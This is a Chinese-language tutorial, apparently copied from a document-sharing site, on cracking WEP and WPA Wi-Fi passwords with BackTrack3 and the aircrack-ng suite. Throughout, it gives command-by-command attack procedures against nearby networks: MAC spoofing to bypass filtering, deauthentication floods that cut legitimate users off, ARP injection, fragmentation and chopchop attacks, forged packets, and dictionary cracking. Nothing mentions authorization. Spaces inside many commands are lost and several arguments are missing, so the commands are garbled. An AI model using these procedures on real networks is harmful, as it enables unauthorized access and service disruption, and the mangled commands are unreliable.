BackTrack3破解wep及wpa教程.docx

BackTrack3破解wep及wpa教程.docx

《BackTrack3破解wep及wpa教程.docx》由会员分享，可在线阅读，更多相关《BackTrack3破解wep及wpa教程.docx（21页珍藏版）》请在冰点文库上搜索。

BackTrack3破解wep及wpa教程

BackTrack3破解wep及wpa教程

1．装备：

IMBX60笔记本（内置Intel3945无线网卡）、BT3的U盘系统（需用syslinux命令来指定启动

BT3的盘符）

2．用户名：

root密码：

toor，进入图形界面：

startx。

启动BT3后,（启动黑屏：

xconf再输入startx）

3．加载3945网卡的驱动。

打开一个shell

注：

不同的网卡有不同的加载方式

4．查找目标：

用Airoscript命令（Backtrack/radionetworkanalysis/80211/all/Aioscript）的扫描功能

连续三次都选择1发现5个，有4个加密，data都是0，开放的netgear那个AP有一个客户端。

PWR

值一般看出信号强度。

也可以用airodump-ngwifi0来搜索

我们选择第一个作为目标，channel为11（上图中的CH代表信道）。

注：

修改自己网卡的MAC地址的命令。

输入macchanger–m00:

11:

22:

33:

44:

55wifi0

5．激活网卡的Monitor模式并工作在11信道。

（加载网卡，激活监听模式，工作在11信道）

输入airmon-ngstartwifi011也可用iwconfiwifi0来查看网卡的工作模式和工作信道。

可用aireplay-ng--testwifi0来测试是否可以注入

6．输入截取数据包命令（截取11信道的ivs数据包，并保存名为name.ivs）

输入命令airodump-ng--ivs-wname-c11wifi0，

（--ivs：

仅截取ivs数据包，-w：

写入文件，-c：

截取ivs的信道）

（其中name是获取的ivs的保存文件的名字，11是channel值，你根据实际修改）

一.有客户端WEP破解

1．有客户端，且合法客户端产生大量有效的数据，能直接获得大量IVS。

思路：

1-6步同上

7．直接用aircrack-ng破解

第七步：

aircrack-ng-n64-bname-01.ivs

2．有客户端，合法客户端只能产生少量ivs数据，就需要注入攻击加速产生大量ivs。

只要有少量的数据就可能获得arp请求包，则可用arp注入模式的-3模式通过不断向AP发送

同样的arp请求包，来进行注入式攻击。

思路：

1-6步同上

7．用aireplay-ng的arp注入方式获得大量的ivs

第七步：

aireplay-ng-3-b-h<合法客户端mac>wifi0

注：

这一步可能时间会长一点，因为需要等到ARP。

3．有客户端，但是客户端根本不在通信，不能产生ARP包。

-3注入模式不成功

思路：

1-6步同上

7．-0冲突模式强制断开合法客户端和ap连接，使之重新连接

8．利用-0冲突模式重新连接所产生的握手数据让-3获得有效的ARP从而完成ARP注入

第七步：

aireplay-ng-3-b-h<合法客户端mac>wifi0

第八步：

aireplay-ng-010–a-c<合法客户端mac>wifi0

4．有客户端，并且客户端能产生有效arp数据的另类破解方式

前面的步骤一样：

现在，只要一个命令就搞定，输入:

输入wesside-ng-iwifi0-v01:

02:

03:

04:

05:

06（此格式的APMAC）。

很简单吧，密码出来了。

二．无客户端WEP破解

思路：

1-6步同上

因为是无客户端，所以第一步就需要和AP之间建立一个虚拟连接。

这是非常关键的一步。

为让AP接受数据包，必须使自己的网卡和AP关联。

如果没有关联的话，目标AP

将忽略所有从你网卡发送的数据包，IVS数据将不会产生。

第七步：

输入aireplay-ng-10-e-a-hwifi0

如果回显虚拟伪装连接不成功，不能成功的原因很多，具体有如下几种：

1、目标AP做了MAC地址过滤

2、你离目标AP物理距离太远

3、对方使用了WPA加密

5、网卡、AP可能不兼容,网卡没有使用和AP一样的工作频道

也可以使用命令tcpdump来确认网卡是否已经连接到目标AP上

tcpdump-n-e-s0-vvv-iwifi0

1．第一种破解方式：

思路：

1-7步同上

建立虚拟连接后直接用-2交互攻击模式，这个模式集合了抓包和提取数据，发攻击包三种能力。

第八步：

抓包，提数据和发包攻击

aireplay-ng-2-p0841-cff:

ff:

ff:

ff:

ff:

ff-b-hwifi0

发包成功后可得到足够的ivs，然后用aircrack-ng破解。

成功后如上图截获了一个可以直接进行注入的数据包，并回显Usethispacket，按y然后开始

发包攻击，date飞快涨。

当获得足够的ivs以后就可破解了。

2．第二种破解方式：

思路：

1-7步同上

第八步：

利用-5碎片攻击模式获得一个可用的包含密钥是数据文件（xor文件）

第九步：

然后通过数据包制造程序Packetforge-ng提取xor文件中的PRGA伪造一个arp包，

第十步：

最后利用交互式攻击模式-2发包攻击。

第八步：

采用碎片包攻击模式-5，获得一个PRGA数据包（xor文件）。

输入aireplay-ng-5-b-hwifi0

如顺利，将得到一个可利用的数据包如上图，系统将回显Usethispacket?

输入y回车，将得到一个至

关重要的xor文件。

再输入ls查看当前目录，你将看到刚才生成的一个后缀名为xor的文件。

第九步：

用数据包制造程序packetforge-ng将上面获得的xor数据包伪造成可利用的ARP注入包。

输入packetforge-ng-0-a-h-k255.255.255.255–l255.255.255.255-y

name-xor-wmyarp

参数说明：

-y（filename）是用来读取PRGA的文件

-w（filename）将arp包写入文件，我用的文件名是myarp

系统回显：

Wrotepacketto:

mrarp

第十步：

采用交互模式-2，发包注入攻击。

输入aireplay-ng-2–rmyarp-x256rausb0

【-r】：

从指定文件中读取arp数据包

【-x】：

定义每秒发送的数据包数量。

为避免网卡死机，可选择256，最高不超过1024

输入y回车攻击开始

这时，前面的抓包窗口上的data将迅速增加。

到数据增加到1.5万以上时。

第十一步：

采用aircrack-ng来进行破解

3．第三种破解方式：

思路：

1-7步同上

第八步：

利用-4的Chopchop攻击模式获得一个可用的包含密钥数据文件（xor文件）

第九步：

通过数据包制造程序Packetforge-ng提取xor文件中的PRGA伪造一个arp包

第十步：

最后利用交互式攻击模式-2发包攻击。

第八步：

采用-4的Chopchop攻击模式获得一个包含密钥数据的xor文件

输入aireplay-ng-4-b-hwifi0

参数说明：

-b：

设置需要破解的AP的mac

-h：

设置用于连接的无线网卡的mac（自己网卡）

顺利将得到一个可利用的数据包，按y将利用此数据包生产一个xor文件

如上图所示得到一个名为replay_dec-0523-075615的xor文件，

第九步：

通过数据包制造程序Packetforge-ng提取上面xor文件来伪造一个arp包

输入packetforge-ng-0-a-h-k255.255.255.255–l255.255.255.255-y

name-xor-wmyarp

如

如上图，成功生成一个名为myarp的可用来注入的arp数据包。

第十步：

最后利用交互式攻击模式-2发包攻击。

输入aireplay-ng-2-rmyarprausb0

发现了可利用的myarp的数据包，按y后，立刻注入攻击。

Date疯涨

破解WPA

1、加载无线网卡驱动

2、设置网卡为在指定的ap的工作频道的监控模式

这两部与前面相同

3、输入截取数据包命令（截取11信道的cap数据包，并保存名为12345.cap）

输入命令airodump-ng-w12345-c11wifi0，

（-w：

写入文件，-c：

截取cap的信道）

（其中12345是获取的cap的保存文件的名字，11是channel值，你根据实际修改。

）

回车后可以看到是WPA-TIKP-PSK加密方式

4、进行-0的Deauth验证攻击

这里为了便于WPA握手验证包的获取，必须进行Deauth验证攻击，这个对于采用WPA验证的AP攻击都

会用到，可以迫使AP重新与已连接的合法客户端进行握手验证，重新握手验证过程中获得验证数据包。

输入：

aireplay-ng-010-awifi0

或者输入：

aireplay-ng-010-a-cwifi0

解释：

-0指的是采取Deautenticate攻击方式，后面为发送次数。

-c建议还是使用，效果会更好，这个后面

跟的是监测到的合法的已连接的客户端MAC地址，如上图中显示的。

这里注意，Deauth攻击往往并不是一次攻击就成功，为确保成功截获需要反复进行，需要说明的是，攻击

期间很可能会导致该AP的其它无线客户端无法正常上网即断网频繁，而且对于一些低端AP可能会导致其

无线功能假死，无法ping通，需重起。

是否获得包含WPA握手验证包的Cap文件，需要在破解时进行验证，以上Deauth攻击几次后可以做破解

尝试。

WPA破解不用等到数据Data达到几万，因为它只要一个包含WPA握手验证包就可以了，通过上面

的方法我们已经获得破解WPA所需的cap文件。

即可进行下一步的破解。

5、用得到的CAP数据包以后进行WPA破解

破解方式一：

用Cap数据包直接暴力破解

从破解难度上讲WEP是很容易破解的，只要你收集足够的Cap数据包就肯定可以破解。

WPA的破解需要

有好的密码字典配合才能完成，复杂的WPA密码可能几个月也破解不出来。

1、WEP数据Cap破解

输入：

aircrack-ng-z–b12345*.cap

12345是步骤3中输入的cap的文件名。

系统会自动在你输入的文件名后加上-01、-02（如果数据包太多，

系统会自动分成几个文件存储并自动命名，可以使用ls查看），输入12345*是打开所有1234相关的cap文

件。

常见问题：

步骤3中收集数据包已达30W，无法破解密码。

可能系统自动分成了几个文件贮存cap包。

如输入name-01.cap破解可能导致破解不成功，建议使用name*.cap选择所有的cap包进行破

解。

破解方式二：

WPA数据Cap破解

输入：

aircrack-ng–wpassword.txt–b12345*.cap

（-w：

是字典破解模式）

Password.txt是你事先准备好的字典。

WPA密码破解必须使用字典破解模式。

技巧：

可以在windows下使用下载的字典工具生产字典，再在BackTrack3下拷贝到/root下（aircrack默认

的工作目录在/root）。

请注意，破解WPA密码的时间取决于密码难易程度，字典包含程度，内存及CPU等。

多则数小时。

也可

以把CAP数据包拷贝出来在WIN下用WinAircrack破解。

注意点：

针MAC地址过滤问题：

因为AP只回应认证的的客户端.用airodump-ng搜索到刚刚连接上ＡＰ的

ＭＡＣ地址，把自己的修改为这个ＭＡＣ地址，就可以突破ＭＡＣ地址过滤的。

Aireplay-ng的6种攻击模式详解

-0Deautenticate冲突模式

使已经连接的合法客户端强制断开与路由端的连接，使其重新连接。

在重新连接过程中获得验证数据包，

从而产生有效ARPrequest。

如果一个客户端连在路由端上，但是没有人上网以产生有效数据，此时，即使用-3也无法产生有效ARP

request。

所以此时需要用-0攻击模式配合，-3攻击才会被立刻激活。

aireplay-ng-010–a-cwifi0

参数说明：

【-0】：

冲突攻击模式，后面跟发送次数（设置为0，则为循环攻击，不停的断开连接，客户端无法正常上

网）

【-a】：

设置ap的mac

【-c】：

设置已连接的合法客户端的mac。

如果不设置-c，则断开所有和ap连接的合法客户端。

aireplay-ng-3-b-hwifi0

注：

使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器

-1fakeauthcount伪装客户端连接

这种模式是伪装一个客户端和AP进行连接。

这步是无客户端的破解的第一步，因为是无合法连接的客户端，因此需要一个伪装客户端来和路由器相连。

为让AP接受数据包，必须使自己的网卡和AP关联。

如果没有关联的话，目标AP将忽略所有从你网卡发

送的数据包，IVS数据将不会产生。

用-1伪装客户端成功连接以后才能发送注入命令，让路由器接受到注

入命令后才可反馈数据从而产生ARP包。

aireplay-ng-10–e-a-hwifi0

参数说明：

【-1】：

伪装客户端连接模式，后面跟延时

【-e】：

设置ap的essid

【-a】：

设置ap的mac

【-h】：

设置伪装客户端的网卡MAC（即自己网卡mac）

-2Interactive交互模式

这种攻击模式是一个抓包和提数据发攻击包，三种集合一起的模式

1．这种模式主要用于破解无客户端，先用-1建立虚假客户端连接然后直接发包攻击

aireplay-ng-2-p0841-cff:

ff:

ff:

ff:

ff:

ff-b-hwifi0

参数说明：

【-2】：

交互攻击模式

【-p】设置控制帧中包含的信息（16进制），默认采用0841

【-c】设置目标mac地址

【-b】设置ap的mac地址

【-h】设置伪装客户端的网卡MAC（即自己网卡mac）

2．提取包，发送注入数据包

aireplay-ng-2–r-x1024wifi0

发包攻击.其中，-x1024是限定发包速度，避免网卡死机，可以选择1024。

-3ARP-request注入攻击模式

这种模式是一种抓包后分析重发的过程

这种攻击模式很有效。

既可以利用合法客户端，也可以配合-1利用虚拟连接的伪装客户端。

如果有合法客

户端那一般需要等几分钟，让合法客户端和ap之间通信，少量数据就可产生有效ARPrequest才可利用-3

模式注入成功。

如果没有任何通信存在，不能得到ARPrequest.，则这种攻击就会失败。

如果合法客户端和

ap之间长时间内没有ARPrequest，可以尝试同时使用-0攻击。

如果没有合法客户端，则可以利用-1建立虚拟连接的伪装客户端，连接过程中获得验证数据包，从而产生

有效ARPrequest。

再通过-3模式注入。

aireplay-ng-3-b-h-x512wifi0

参数说明：

【-3】：

arp注入攻击模式

【-b】：

设置ap的mac

【-h】：

设置

【-x】：

定义每秒发送数据户包的数量，但是最高不超过1024，建议使用512（也可不定义）

-4Chopchop攻击模式，用以获得一个包含密钥数据的xor文件

这种模式主要是获得一个可利用包含密钥数据的xor文件，不能用来解密数据包。

而是用它来产生一个新

的数据包以便我们可以进行注入。

aireplay-ng-4-b-hwifi0

参数说明：

-b：

设置需要破解的AP的mac

-h：

设置虚拟伪装连接的mac（即自己网卡的mac）

-5fragment碎片包攻击模式用以获得PRGA（包含密钥的后缀为xor的文件）

这种模式主要是获得一个可利用PRGA，这里的PRGA并不是wepkey数据，不能用来解密数据包。

而是

用它来产生一个新的数据包以便我们可以进行注入。

其工作原理就是使目标AP重新广播包，当AP重广播

时，一个新的IVS将产生，我们就是利用这个来破解

aireplay-ng-5-b-hwifi0

【-5】：

碎片包攻击模式

【-b】：

设置ap的mac

【-h】：

设置虚拟伪装连接的mac（即自己网卡的mac）

Packetforge-ng：

数据包制造程序

Packetforge-ng

Mode

【-0】：

伪造ARP包

packetforge-ng-0-a-hwifi0–k255.255.255.255-l255.255.255.255

–y<.xorfile>-wmrarp

参数说明：

【-0】：

伪装arp数据包

【-a】：

设置ap的mac

【-h】设置虚拟伪装连接的mac（即自己的mac）

【-k】

port]>说明：

设置目标文件IP和端口

【-l】

port]>说明：

设置源文件IP和端口

【-y】说明：

从xor文件中读取PRGA。

后面跟xor的文件名。

【-w】设置伪装的arp包的文件名

Aircrack-ng：

WEP及WPA-PSKkey破解主程序

Aircrack-ng[optin]<.cap/.ivsfile>

Optin

aircrack-ng-n64-bname-01.ivs

参数说明：

【-n】：

设置WEPKEY长度（64/128/152/256/512）

aircrack-ng-x-f2name-01h.cap

参数说明：

【-x】：

设置为暴力破解模式

【-f】：

设置复杂程度，wep密码设置为1，wpa密码设置为2

aircrack-ng-wpassword.txtciw.cap

【-w】：

设置为字典破解模式，后面跟字典文件，再后面跟是我们即时保存的那个捕获到WPA验证的抓包

文件。

常见问题荟萃

问题1：

我在启动bt3的时候，输入startx黑屏

解答：

在输入用户名root和密码toor以后输入xconf这时会黑屏一会，然后出来提示符再输入startx可进入

win窗口；当实在不能进入win窗口的时候你也可以直接在提示符下输入各破解命令，同时可用alt+f1打开

一个shell，alt+f2打开第二个shell，alt+f3打开第三个等。

关闭窗口用PRINTSCREEN键

问题2：

在BT3中打开kismet的时候窗口一闪就没了。

解答：

首先加载驱ifconfig-arausb0开始网卡监听:

airmon-ngstartrausb0。

找到/usr/local/etc/kismet.conf

打开此文件在channelsplit=true下面加入一行source=rt2500,rausb0,moniter

注：

wusb54gv4一定是rt2500,不是加载驱动时显示的rt2570。

3945的兄弟加入source=ipw3945,eth0,IPW3945